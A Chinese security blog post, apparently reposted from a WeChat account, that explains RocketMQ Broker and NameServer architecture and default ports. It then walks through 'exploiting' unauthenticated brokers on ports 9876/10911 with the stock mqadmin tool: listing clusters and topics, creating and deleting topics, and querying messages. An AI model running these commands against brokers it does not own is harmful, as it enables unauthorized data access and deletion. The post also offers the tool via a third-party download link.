先来介绍一下什么是RocketMQ Broker
RocketMQ Broker 是负责消息存储、处理和传输的核心组件。它的主要功能包括:
-
消息存储:Broker 负责将生产者(Producer)发送的消息存储到磁盘上。它采用了高效的存储机制,支持大规模消息的持久化存储。
-
消息转发:Broker 将存储的消息转发给消费者(Consumer)。它支持多种消费模式,包括推送模式和拉取模式。
-
高可用性:为了实现高可用性,Broker 设计了主从(Master-Slave)架构。主 Broker 负责处理读写请求,从 Broker 作为备份,当主 Broker 发生故障时,从 Broker 可以接管工作。
-
消息过滤:Broker 支持消息过滤功能,消费者可以根据标签(Tag)等信息过滤需要的消息,从而提高消费效率。
-
分布式事务:Broker 支持分布式事务消息,确保跨系统事务的一致性。
-
多协议支持:Broker 支持多种协议,包括原生的 RocketMQ 协议、MQTT、HTTP 等,方便不同类型的应用集成。
核心组件
-
CommitLog:消息存储的核心文件,所有消息都首先被写入到 CommitLog 中。
-
ConsumeQueue:消费队列,用于存储消息在 CommitLog 中的偏移量,方便快速定位消息。
-
IndexFile:索引文件,用于加速消息的查找。
工作原理
-
消息写入:Producer 发送的消息首先写入到 Broker 的 CommitLog 文件中。消息写入采用顺序写入,具有高效的写入性能。
-
消息存储:消息写入 CommitLog 后,会异步地构建 ConsumeQueue 和 IndexFile,方便消息的快速查找和消费。
-
消息转发:Consumer 从 Broker 请求消息时,Broker 会根据 ConsumeQueue 和 CommitLog 的信息,将消息发送给 Consumer。
-
主从同步:在主从架构中,主 Broker 将消息同步到从 Broker,以确保数据的冗余和高可用性。
高可用和扩展性
-
主从架构:通过配置主从 Broker,可以实现高可用性和数据冗余。
-
集群部署:支持集群部署,多个 Broker 可以共同工作,分担流量和存储压力。
-
动态扩展:Broker 支持动态扩展,可以根据业务需求增加或减少 Broker 节点。
管理和监控
-
管理工具:RocketMQ 提供了丰富的管理工具和命令行工具,方便运维人员管理和维护 Broker。
-
监控系统:集成了多种监控指标,支持与主流监控平台对接,方便实时监控 Broker 的运行状态和性能。
总的来说,RocketMQ Broker 是一个高性能、高可用、可扩展的消息处理服务,适用于各种大规模分布式系统中的消息传递需求。它在互联网、金融、电商等领域得到了广泛的应用。
再来介绍下NameServer 和Broker的关系
NameServer
-
注册中心:NameServer 充当整个 RocketMQ 集群的注册中心。所有的 Broker 都会向 NameServer 注册自己的信息,比如 IP 地址、端口、服务状态等。
-
路由管理:NameServer 负责管理和维护 Topic 与 Broker 之间的映射关系。当 Producer 或 Consumer 需要发送或消费消息时,会首先从 NameServer 获取最新的路由信息。
-
轻量级:NameServer 是无状态的且可以轻松扩展,多个 NameServer 实例之间没有直接通信,它们是独立的。
Broker
-
消息存储:Broker 负责实际的消息存储和转发。Producer 发送的消息会被存储到 Broker 的磁盘上,Consumer 从 Broker 获取消息。
-
消息转发:当 Consumer 请求消息时,Broker 负责从其存储中读取消息并发送给 Consumer。
-
集群组成:一个 RocketMQ 集群可以包含多个 Broker,Broker 可以分为主(Master)和从(Slave)角色,以实现高可用性和数据冗余。
工作流程简述
-
启动:
-
Broker 启动后,会向 NameServer 注册自己。
-
NameServer 接受注册请求并更新其路由表。
-
生产消息:
-
Producer 向 NameServer 请求获取特定 Topic 的路由信息。
-
NameServer 返回包含相关 Broker 地址的路由信息。
-
Producer 根据路由信息将消息发送到对应的 Broker。
-
消费消息:
-
Consumer 向 NameServer 请求获取特定 Topic 的路由信息。
-
NameServer 返回包含相关 Broker 地址的路由信息。
-
Consumer 根据路由信息从对应的 Broker 拉取消息。
关系总结
-
NameServer 提供路由信息:它告诉 Producer 和 Consumer,消息应该发送到或从哪个 Broker 获取。
-
Broker 负责实际存储和转发消息:它们是消息数据的最终存储点。
理解了 NameServer 和 Broker 的关系,有助于更好地部署和管理 RocketMQ 集群。希望这些信息能帮助你更清晰地认识它们的角色和功能。
默认配置信息
Apache RocketMQ Broker 通常使用以下几个默认端口,但具体端口号可以根据需要进行配置:
-
Broker 服务端口:默认是
10911
。这是 Broker 用于接收 Producer 和 Consumer 请求的端口。 -
Broker 高可用(HA)端口:默认是
10912
。这是主 Broker 和从 Broker 之间进行同步通信的端口,用于数据复制和同步。 -
Web Console(管理控制台)端口:这是用于访问 RocketMQ 管理控制台的端口,默认情况下是
8080
。不过这个端口是 Web Console 服务的,而不是 Broker 本身的服务端口。
NameServer 端口
虽然不属于 Broker,但为了完整性,这里也提一下 NameServer 的默认端口:
-
NameServer 服务端口:默认是
9876
。Producer 和 Consumer 在启动时需要通过这个端口来获取 Broker 的路由信息。
所以真正利用的时候是Broker的10911和NameServer的9876端口
先来安装利用工具(装在linux上面,java的环境为8)
第一步:下载利用工具
wget https://archive.apache.org/dist/rocketmq/4.9.3/rocketmq-all-4.9.3-bin-release.zip
或者上传我提供的文件
链接:https://pan.quark.cn/s/dbf1301194f6
第二步:解压
unzip rocketmq-all-4.9.3-bin-release.zipncd rocketmq-all-4.9.3-bin-release
第三步:找到工具文件
cd rocketmq-4.9.3
第四步:漏洞利用命令
利用的的工具为bin目录下的mqadmin
举例
1、查看指定 Broker 的状态信息。它会显示 Broker 的运行状态、存储信息、消息堆积情况等。
sh bin/mqadmin brokerStatus -n 127.0.0.1:9876 -b 127.0.0.1:10911
其它命令
-
查看 RocketMQ 集群状态
sh
mqadmin clusterList -n <name-server-address>
例如:
sh
mqadmin clusterList -n 192.168.1.100:9876
-
查看主题信息
sh
mqadmin topicList -n <name-server-address>
例如:
sh
mqadmin topicList -n 192.168.1.100:9876
-
创建主题
sh
mqadmin updateTopic -n <name-server-address> -c <cluster-name> -t <topic-name>
例如:
sh
mqadmin updateTopic -n 192.168.1.100:9876 -c DefaultCluster -t MyTopic
-
删除主题
sh
mqadmin deleteTopic -n <name-server-address> -t <topic-name>
例如:
sh
mqadmin deleteTopic -n 192.168.1.100:9876 -t MyTopic
-
查看消费者状态
sh
mqadmin consumerStatus -n <name-server-address> -g <consumer-group>
例如:
sh
mqadmin consumerStatus -n 192.168.1.100:9876 -g MyConsumerGroup
-
查询消息
sh
mqadmin queryMsgById -n <name-server-address> -i <message-id>
例如:
sh
mqadmin queryMsgById -n 192.168.1.100:9876 -i 0A3E8A0F00002A9F0000000000100000
-
查看订阅组信息
sh
mqadmin consumerGroupList -n <name-server-address>
例如:
sh
mqadmin consumerGroupList -n 192.168.1.100:9876
原文始发于微信公众号(黑熊安全):Apache RocketMQ Broker 未授权访问漏洞利用方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论